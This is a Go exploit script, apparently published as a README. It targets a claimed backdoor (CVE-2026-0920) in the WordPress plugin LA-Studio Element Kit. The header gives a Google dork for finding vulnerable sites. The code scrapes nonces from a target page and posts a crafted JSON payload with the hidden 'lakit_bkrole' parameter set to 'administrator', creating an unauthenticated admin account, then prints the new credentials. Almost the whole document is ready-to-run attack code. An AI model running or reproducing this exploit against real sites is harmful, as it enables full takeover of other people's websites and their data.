README.md
Rendering markdown...
package main
/*
# Exploit Title: WordPress Plugin LA-Studio Element Kit <= 1.5.6.3 - Unauthenticated Admin Account Creation
# Google Dork: inurl:"/wp-content/plugins/lastudio-element-kit"
# Date: 2026-01-22
# Exploit Author: Meysam Bal-afkan
# Vendor Homepage: https://wordpress.org/plugins/lastudio-element-kit/
# Software Link: https://downloads.wordpress.org/plugin/lastudio-element-kit.1.5.6.3.zip
# Version: <= 1.5.6.3
# Tested on: Linux / Windows
# CVE: CVE-2026-0920
#
# Description:
# The plugin contains a critical backdoor vulnerability within the 'ajax_register_handle' function.
# Unauthenticated attackers can exploit the 'lakit_ajax' wrapper by injecting a JSON payload
# containing the hidden parameter 'lakit_bkrole' set to 'administrator'. This bypasses standard
# registration checks and creates a new administrative user, leading to full site takeover.
*/
import (
"crypto/tls"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"net/url"
"os"
"regexp"
"runtime"
"strings"
"time"
)
var (
ColorReset = "\033[0m"
ColorRed = "\033[31m"
ColorGreen = "\033[32m"
ColorYellow = "\033[33m"
ColorBlue = "\033[34m"
)
type Config struct {
TargetURL string
Username string
Email string
Password string
}
type RegisterData struct {
Username string `json:"username"`
Email string `json:"email"`
Password string `json:"password"`
PasswordConfirm string `json:"password-confirm"`
LakitConfirm string `json:"lakit_confirm_password"`
RegisterNonce string `json:"lakit-register-nonce"`
Redirect string `json:"lakit_redirect"`
FieldLog string `json:"lakit_field_log"`
FieldPwd string `json:"lakit_field_pwd"`
FieldCPwd string `json:"lakit_field_cpwd"`
BackdoorRole string `json:"lakit_bkrole"`
}
type RegisterAction struct {
Action string `json:"action"`
Data RegisterData `json:"data"`
}
type ActionsPayload struct {
Register RegisterAction `json:"register"`
}
func init() {
if runtime.GOOS == "windows" {
ColorReset = ""
ColorRed = ""
ColorGreen = ""
ColorYellow = ""
ColorBlue = ""
}
}
func printBanner() {
fmt.Println(`
____ __ _ __ __
/ __ \________ ____ _____/ / / | / /__ / /_
/ / / / ___/ _ \/ __ / __ / / |/ / _ \/ __/
/ /_/ / / / __/ /_/ / /_/ / / /| / __/ /_
/_____/_/ \___/\__,_/\__,_/ /_/ |_/\___/\__/ `)
fmt.Println("")
fmt.Println("Telegram: t.me/Dread_Net")
fmt.Println("")
fmt.Println(ColorRed + `
CVE-2026-0920 Exploit | LA-Studio Element Kit Backdoor
Author: Meysam Bal-afkan
` + ColorReset)
}
func main() {
printBanner()
// Parse Flags
target := flag.String("u", "", "Target Page URL (e.g., http://localhost/vuln-site/register)")
username := flag.String("user", "hacker", "Username to create")
email := flag.String("email", "[email protected]", "Email to create")
password := flag.String("pass", "P@ssw0rd123!", "Password to set")
manualNonce := flag.String("nonce", "", "Manual Global Nonce")
regNonce := flag.String("rnonce", "", "Manual Register Nonce")
flag.Parse()
if *target == "" {
fmt.Println(ColorRed + "[!] Target URL is required. Use -u <url>" + ColorReset)
return
}
config := Config{
TargetURL: *target,
Username: *username,
Email: *email,
Password: *password,
}
client := createClient(15 * time.Second)
// Step 1: Recon & Scrape Nonces AND Ajax URL
fmt.Printf(ColorBlue+"[*] Scanning %s for data...\n"+ColorReset, config.TargetURL)
globalNonce := *manualNonce
registerNonce := *regNonce
scrapedAjaxURL := ""
// Always scrape to find the correct Ajax URL, even if nonces are provided
scrapedGlobal, scrapedReg, foundAjax, err := scrapePageData(client, config.TargetURL)
if err != nil {
fmt.Printf(ColorYellow+"[!] Warning: Scrape failed: %v\n"+ColorReset, err)
} else {
if globalNonce == "" { globalNonce = scrapedGlobal }
if registerNonce == "" { registerNonce = scrapedReg }
scrapedAjaxURL = foundAjax
}
// CHECK 1: NONCES
if globalNonce == "" || registerNonce == "" {
fmt.Println(ColorRed + "[-] CRITICAL: Failed to obtain necessary nonces." + ColorReset)
fmt.Println(ColorRed + "[-] Provide nonces manually using -nonce and -rnonce." + ColorReset)
return
}
// CHECK 2: TARGET AJAX URL
finalAjaxURL := ""
if scrapedAjaxURL != "" {
if strings.HasPrefix(scrapedAjaxURL, "http") {
finalAjaxURL = scrapedAjaxURL
} else {
// Handle relative URL (e.g. /wp-admin/admin-ajax.php)
parsedTarget, _ := url.Parse(config.TargetURL)
finalAjaxURL = fmt.Sprintf("%s://%s%s", parsedTarget.Scheme, parsedTarget.Host, scrapedAjaxURL)
}
fmt.Printf(ColorGreen+"[+] Auto-detected Ajax URL: %s\n"+ColorReset, finalAjaxURL)
} else {
u, _ := url.Parse(config.TargetURL)
finalAjaxURL = fmt.Sprintf("%s://%s/wp-admin/admin-ajax.php", u.Scheme, u.Host)
if strings.Contains(u.Path, "/vuln-site/") {
finalAjaxURL = fmt.Sprintf("%s://%s/vuln-site/wp-admin/admin-ajax.php", u.Scheme, u.Host)
}
fmt.Printf(ColorYellow+"[!] Warning: Could not find Ajax URL in source. Guessing: %s\n"+ColorReset, finalAjaxURL)
}
fmt.Printf(ColorGreen+"[+] Global Nonce: %s\n"+ColorReset, globalNonce)
fmt.Printf(ColorGreen+"[+] Register Nonce: %s\n"+ColorReset, registerNonce)
// Step 2: Prepare Payload
fmt.Println(ColorBlue + "[*] Constructing malicious JSON..." + ColorReset)
payloadStruct := ActionsPayload{
Register: RegisterAction{
Action: "register",
Data: RegisterData{
Username: config.Username,
Email: config.Email,
Password: config.Password,
PasswordConfirm: config.Password,
LakitConfirm: "true",
RegisterNonce: registerNonce,
Redirect: config.TargetURL,
FieldLog: "no",
FieldPwd: "yes",
FieldCPwd: "yes",
BackdoorRole: "administrator",
},
},
}
jsonBytes, err := json.Marshal(payloadStruct)
if err != nil {
fmt.Printf(ColorRed+"[!] JSON Error: %v\n"+ColorReset, err)
return
}
data := url.Values{}
data.Set("action", "lakit_ajax")
data.Set("_nonce", globalNonce)
data.Set("actions", string(jsonBytes))
// Step 3: Send Exploit
fmt.Printf(ColorBlue+"[*] Sending payload to: %s\n"+ColorReset, finalAjaxURL)
req, _ := http.NewRequest("POST", finalAjaxURL, strings.NewReader(data.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) CVE-2026-0920-Exploit")
resp, err := client.Do(req)
if err != nil {
if os.IsTimeout(err) {
fmt.Println(ColorRed + "\n[-] Error: Request timed out." + ColorReset)
} else {
fmt.Printf(ColorRed+"\n[!] Connection Error: %v\n"+ColorReset, err)
}
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
respStr := string(body)
// Step 4: Verify Success
if resp.StatusCode == 200 && (strings.Contains(respStr, `"success":true`) || strings.Contains(respStr, `"type":"success"`)) {
fmt.Println(ColorGreen + "\n[+] BOOM! Admin account created successfully!" + ColorReset)
fmt.Printf(ColorGreen+" Email: %s\n"+ColorReset, config.Email)
fmt.Printf(ColorGreen+" User: %s\n"+ColorReset, config.Username)
fmt.Printf(ColorGreen+" Pass: %s\n"+ColorReset, config.Password)
} else {
fmt.Println(ColorRed + "\n[-] Exploit failed." + ColorReset)
// Print only first 300 chars of response to avoid flooding screen with HTML
if len(respStr) > 300 {
fmt.Printf(" Response (Truncated): %s...\n", respStr[:300])
} else {
fmt.Printf(" Response: %s\n", respStr)
}
}
}
// scrapePageData finds nonces AND the correct ajaxurl from the HTML
func scrapePageData(client *http.Client, target string) (string, string, string, error) {
req, _ := http.NewRequest("GET", target, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
resp, err := client.Do(req)
if err != nil {
return "", "", "", err
}
defer resp.Body.Close()
bodyBytes, _ := io.ReadAll(resp.Body)
body := string(bodyBytes)
// 1. Scrape Global Nonce
globalNonce := ""
reGlobal := regexp.MustCompile(`"ajaxNonce":"([a-zA-Z0-9]+)"`)
matchGlobal := reGlobal.FindStringSubmatch(body)
if len(matchGlobal) > 1 {
globalNonce = matchGlobal[1]
}
// 2. Scrape Register Nonce
registerNonce := ""
reSpecific := regexp.MustCompile(`"lakit-register-nonce":"([a-zA-Z0-9]+)"`)
matchSpecific := reSpecific.FindStringSubmatch(body)
if len(matchSpecific) > 1 {
registerNonce = matchSpecific[1]
} else {
reLakit := regexp.MustCompile(`lakitSubscribeConfig\s*=\s*{[^}]*"nonce":"([a-zA-Z0-9]+)"`)
matchLakit := reLakit.FindStringSubmatch(body)
if len(matchLakit) > 1 {
registerNonce = matchLakit[1]
}
}
if registerNonce == "" && globalNonce != "" {
registerNonce = globalNonce
}
// 3. Scrape Ajax URL (Crucial Fix!)
// Looks for "ajaxUrl":"..." or "ajax_url":"..."
ajaxURL := ""
reAjax := regexp.MustCompile(`"(?:ajaxUrl|ajax_url)":"([^"]+)"`)
matchAjax := reAjax.FindStringSubmatch(body)
if len(matchAjax) > 1 {
// Fix encoded slashes if present (e.g. \/)
ajaxURL = strings.ReplaceAll(matchAjax[1], `\/`, `/`)
}
return globalNonce, registerNonce, ajaxURL, nil
}
func createClient(timeout time.Duration) *http.Client {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
return &http.Client{
Transport: tr,
Timeout: timeout,
}
}